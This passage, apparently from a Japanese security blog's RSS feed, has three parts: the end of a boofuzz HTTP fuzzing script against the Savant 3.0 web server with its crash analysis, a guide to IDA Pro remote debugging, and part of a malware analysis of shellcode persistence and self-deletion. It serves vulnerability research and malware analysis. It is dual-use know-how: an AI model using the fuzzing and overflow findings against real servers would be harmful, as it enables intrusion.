    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_string&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;HTTP/1.1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;HTTP-Version&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_static&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;\r\n&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Request-Line-CRLF&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_string&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Host:&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Host-Line&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_delim&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;space-3&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_string&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;example.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Host-Line-Value&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_static&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;\r\n&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Host-Line-CRLF&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_static&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;\r\n&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Request-CRLF&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;connect&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;s_get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Request&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fuzz&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;__main__&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;h3 id=&quot;u4-作成したpythonスクリプトからboofuzzを実行u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u4-%E4%BD%9C%E6%88%90%E3%81%97%E3%81%9Fpython%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%81%8B%E3%82%89boofuzz%E3%82%92%E5%AE%9F%E8%A1%8Cu&quot; aria-label=&quot;u4 作成したpythonスクリプトからboofuzzを実行u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;4. 作成したPythonスクリプトからBoofuzzを実行&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;http://localhost:26000へアクセスするとプロセス監視サーバのGUIにて、発生したクラッシュの情報を確認することが出来ます。&lt;/p&gt;
&lt;p&gt;赤の下線で示した部分を見ると、今回は&lt;strong&gt;00409167&lt;/strong&gt;と&lt;strong&gt;0040a2e5&lt;/strong&gt;の2か所でmemory access violationが発生していることが分かります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/crash_synopsis.png&quot; alt=&quot;Crash synopsis&quot; title=&quot;Crash synopsis&quot;&gt;&lt;/p&gt;
&lt;p&gt;画面左の506と書かれた数字をクリックすると460番のテストケースに関する詳細情報を見ることが出来ます。&lt;/p&gt;
&lt;p&gt;入力パケットが ’\’ を大量に繰り返していることが分かります。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/test_case_log.png&quot; alt=&quot;Test case log&quot; title=&quot;Test case log&quot;&gt;&lt;/p&gt;
&lt;p&gt;シンプルなPythonスクリプトでテストケースをパケットとして送信してみると実際にSavant 3.0がクラッシュすることを確認できます。&lt;/p&gt;
&lt;p&gt;そのときのPCAPをWiresharkで確認してみるとこんな感じです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/testcase506.png&quot; alt=&quot;Test case 506 packet&quot; title=&quot;Test case 506 packet&quot;&gt;&lt;/p&gt;
&lt;p&gt;余談ですが、&lt;a href=&quot;https://www.netresec.com/?page=RawCap&quot;&gt;RawCap&lt;/a&gt;を使えばWindowsでlocalhost宛のループバック通信をキャプチャすることが可能です。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u5-クラッシュした原因をリバースエンジニアリングで調査u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u5-%E3%82%AF%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%81%97%E3%81%9F%E5%8E%9F%E5%9B%A0%E3%82%92%E3%83%AA%E3%83%90%E3%83%BC%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%A7%E8%AA%BF%E6%9F%BBu&quot; aria-label=&quot;u5 クラッシュした原因をリバースエンジニアリングで調査u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;5. クラッシュした原因をリバースエンジニアリングで調査&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;0040a2e5&lt;/strong&gt;でmemory access violationが発生していましたが、そこからIDA Pro等の逆アセンブラ/デバッガにて実行パスを逆に遡っていくと、&lt;code class=&quot;language-text&quot;&gt;char FileName\[260]&lt;/code&gt;としてHTTPのRequest URIを保存していることが分かります。&lt;/p&gt;
&lt;p&gt;※ 皆さんのFuzzing環境とデバッガのある環境が別の端末の場合には、リモートデバッグが便利です。やり方は&lt;a href=&quot;https://binarygenes.com/blog/2020-03-26-ida-pro%E3%81%AB%E3%82%88%E3%82%8B%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%83%87%E3%83%90%E3%83%83%E3%82%B0/&quot;&gt;IDA Proによるリモートデバッグ&lt;/a&gt;に記載しています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/filename.png&quot; alt=&quot;Buffer of request URI&quot; title=&quot;Buffer of request URI&quot;&gt;&lt;/p&gt;
&lt;p&gt;ここから順に実行パスをたどると、Request URIの末尾が ’\’ である場合に、&lt;code class=&quot;language-text&quot;&gt;GetFileAttributesA(Filename);&lt;/code&gt;をCallしています。(デコンパイラ上ではエスケープされて’\‘と表示)&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;GetFileAttributesA(Filename);&lt;/code&gt;が失敗した場合には、Fuzzingにてクラッシュが発生した関数をCallすること流れとなっています。&lt;/p&gt;
&lt;p&gt;以上より、テストケース506ではRequest URIが260バイト以上のサイズを超える ’\’ で埋められているためにバッファオーバフロー(BOF)が発生したことで、&lt;strong&gt;0040a2e5&lt;/strong&gt;にてmemory access violationが発生したと判明します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200328_boofuzz/xref_to_func.png&quot; alt=&quot;xref to func&quot; title=&quot;xref to func&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;Boofuzzを使ってBOFの脆弱性を見つけることができました。&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[IDA Proによるリモートデバッグ]]></title><description><![CDATA[デバッガとは別の端末にデバッグしたい対象のソフトウェアが存在する場合、リモートデバッグを利用するのが便利です。例えば、Linux端末のELFバイナリをWindows上でリモートデバッグするといったことも可能となります。]]></description><link>https://binarygenes.com/posts/2020-03-26-remote-debugging-by-ida</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-26-remote-debugging-by-ida</guid><pubDate>Thu, 26 Mar 2020 06:31:59 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/media/20200326_remote_debug/debugging.png&quot; alt=&quot;デバッグイメージ図&quot; title=&quot;デバッグイメージ&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;説明で利用する環境&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E8%AA%AC%E6%98%8E%E3%81%A7%E5%88%A9%E7%94%A8%E3%81%99%E3%82%8B%E7%92%B0%E5%A2%83&quot; aria-label=&quot;説明で利用する環境 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;説明で利用する環境&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;以下の2つのVMを利用しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;デバッガ端末: Windows10 + IDA Pro 7.3&lt;/li&gt;
&lt;li&gt;リモート端末: Windows10 + デバッグ対象バイナリ(x86)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;今回はどちらも64bitのWindows10なのですが、リモート端末にはFuzzing環境を整えてあり、Fuzzingでクラッシュしたバイナリをリモートデバッグして&lt;strong&gt;バイナリの脆弱性を発見しよう&lt;/strong&gt;というのがリモートデバッグを行う理由です。&lt;/p&gt;
&lt;h2 id=&quot;リモートデバッグ手順&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%83%87%E3%83%90%E3%83%83%E3%82%B0%E6%89%8B%E9%A0%86&quot; aria-label=&quot;リモートデバッグ手順 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;リモートデバッグ手順&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;以下の手順にてリモートデバッグを行うことが出来ます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;デバッガ端末のIDA Proがインストールされているディレクトリ内の&lt;strong&gt;dbgsrc\win32_remote.exe&lt;/strong&gt;をリモート端末へコピーします。&lt;/p&gt;
&lt;p&gt;※標準のインストールパスの場合、&lt;strong&gt;C:\Program Files\IDA Pro 7.3\dbgsrv\win32_remote.exe&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;※リモートデバッグ先のバイナリが64bit Mach-Oであればwin32_remote.exeではなくmac_server64.exeをコピーします。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200326_remote_debug/dbgsrv.png&quot; alt=&quot;dbgsrvディレクトリの図&quot; title=&quot;dbgsrvディレクトリ&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;リモート端末でwin32_remote.exe(※)を実行します。&lt;/p&gt;
&lt;p&gt;※ x86が対象でない場合は、対象のアーキテクチャに読み替えてください&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;デバッガ端末でIDA Proを起動し、Debugger &gt; Run &gt; Remote Windows debugger(※)を選択します。&lt;/p&gt;
&lt;p&gt;※ x86が対象でない場合は、対象のアーキテクチャのRemote debuggerに読み替えてください&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200326_remote_debug/choose_remote_debugger.png&quot; alt=&quot;デバッグ選択の図&quot; title=&quot;デバッグ選択&quot;&gt;&lt;/p&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;リモート端末およびリモート端末上のデバッグ対象バイナリの情報を入力しOKします。&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;入力値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Application&lt;/td&gt;
&lt;td&gt;デバッグ対象バイナリのパス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Directory&lt;/td&gt;
&lt;td&gt;デバッグ対象バイナリのディレクトリのパス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parameter&lt;/td&gt;
&lt;td&gt;デバッグ対象バイナリの引数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname&lt;/td&gt;
&lt;td&gt;デバッグ端末のIPアドレス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password&lt;/td&gt;
&lt;td&gt;win32_remote.exe実行時に引数としてパスワードを設定していなければ不要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200326_remote_debug/debug_application_setup.png&quot; alt=&quot;Debug application setupの図&quot; title=&quot;Debug application setup&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Program Filesにidbファイルを作成しようとしてPermission deniedのWarningが出た場合にはOKを押してidbファイル保存場所を指定してください。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200326_remote_debug/permission_denied.png&quot; alt=&quot;Permission deniedの図&quot; title=&quot;Permission denied&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;リモートデバッグを開始できます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200326_remote_debug/remote_debug_completed.png&quot; alt=&quot;リモートデバッグ&quot; title=&quot;リモートデバッグの図&quot;&gt;&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[Shellcode解析_DLL明示的リンク]]></title><description><![CDATA[マルウェアの中には、機能が複数のファイルに分かれているものが多く存在します。例えば、今回紹介する解析対象とするマルウェアでは以下の動作となります。]]></description><link>https://binarygenes.com/posts/2020-03-12-analyzing-shellcode-with-statically-linked-dll</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-03-12-analyzing-shellcode-with-statically-linked-dll</guid><pubDate>Thu, 12 Mar 2020 14:46:15 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/media/20200312_explicitly_link/process_injection_diagram.png&quot; alt=&quot;マルウェア動作フロー&quot; title=&quot;マルウェア動作フロー&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;EXEファイルのマルウェアがDLLファイルのドロップ&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;EXEファイルのマルウェアと正常プロセスへの悪性コードのインジェクションを実施&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;インジェクションされた悪性コードが、ドロップされたDLLのエクスポート関数をインポートし実行&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;今回の時にでは、上記3番の動作について記載していきます。&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;なお、下記の順番で記事を読むことで、マルウェア解析の流れに沿ってマルウェア解析の一連の流れを確認することが出来ます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://binarygenes.com/blog/2020-03-09-process-injection%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%99%E3%82%8B/&quot;&gt;Process Injectionを解析する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://binarygenes.com/blog/2020-03-10-shellcode%E3%81%AE%E8%A7%A3%E6%9E%90_ROR13/&quot;&gt;Shellcodeの解析_ROR13&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;persistenceの確認&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#persistence%E3%81%AE%E7%A2%BA%E8%AA%8D&quot; aria-label=&quot;persistenceの確認 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Persistenceの確認&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;マルウェアが、自身が初めて実行されておりPersistence獲得のための処理を実行する必要があるのか、それともPersistence獲得の処理は飛ばして次の処理に移るべきなのかを確認するための処理が入っています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200312_explicitly_link/setfileattributesa.png&quot; alt=&quot;実行パスの確認&quot; title=&quot;実行パスの確認&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;lstrcmpiA();&lt;/code&gt;で比較する二つの文字列は一致しておらず、&lt;code class=&quot;language-text&quot;&gt;jz  short loc_50B0152&lt;/code&gt;でのジャンプは発生しません。 その文字列とは、以下の2つです。 1つは、Documents直下のTMP.exeであり、もう1つはこのシェルコードをInjectionした元のマルウェアの絶対パスです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200312_explicitly_link/parameter_of_setfileattributesa.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;1回目の&lt;code class=&quot;language-text&quot;&gt;SetFileAttributesA();&lt;/code&gt;はDocuments直下のTMP.exeに対してFileAttributeを設定しようとして0を返しました。呼び出しが失敗したということです。&lt;/p&gt;
&lt;p&gt;呼び出し失敗の理由を確認するためにIDAPythonで&lt;code class=&quot;language-text&quot;&gt;GetLastError();&lt;/code&gt;を呼び出すとERROR_FILE_NOT_FOUND(2)であったため指定したファイルが存在しないことが失敗の理由だったと分かります。&lt;/p&gt;
&lt;p&gt;IDAPythonで&lt;code class=&quot;language-text&quot;&gt;GetLastError();&lt;/code&gt;を呼び出す方法については、&lt;a href=&quot;https://binarygenes.com/blog/2020-03-07-ida-pro%E3%81%A7win32api%E5%AE%9F%E8%A1%8C%E5%A4%B1%E6%95%97%E6%99%82%E3%81%AE%E3%82%A8%E3%83%A9%E3%83%BC%E3%82%92%E5%8F%96%E5%BE%97%E3%81%99%E3%82%8B/&quot;&gt;IDA ProでWin32API実行失敗時のエラーを取得する&lt;/a&gt;に説明があります。&lt;/p&gt;
&lt;p&gt;2回目の&lt;code class=&quot;language-text&quot;&gt;SetFileAttributesA();&lt;/code&gt;はこのシェルコードをInjectionした元のマルウェアに対してFileAttributeを設定して成功しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CopyFileA()で元のマルウェアを&lt;strong&gt;C:\Users[username]\TMP.exe&lt;/strong&gt;としてコピー&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;h2 id=&quot;自身の削除&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E8%87%AA%E8%BA%AB%E3%81%AE%E5%89%8A%E9%99%A4&quot; aria-label=&quot;自身の削除 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;自身の削除&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;利用済みであるマルウェア自身を削除します。MITRE ATT&amp;#x26;CKの&lt;a href=&quot;https://attack.mitre.org/techniques/T1107/&quot;&gt;T1107&lt;/a&gt;では、痕跡となるファイルを削除するという検知回避テクニックとして定義されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元のマルウェアを&lt;code class=&quot;language-text&quot;&gt;DeleteFileA();&lt;/code&gt;で削除&lt;/li&gt;
&lt;/ul&gt;
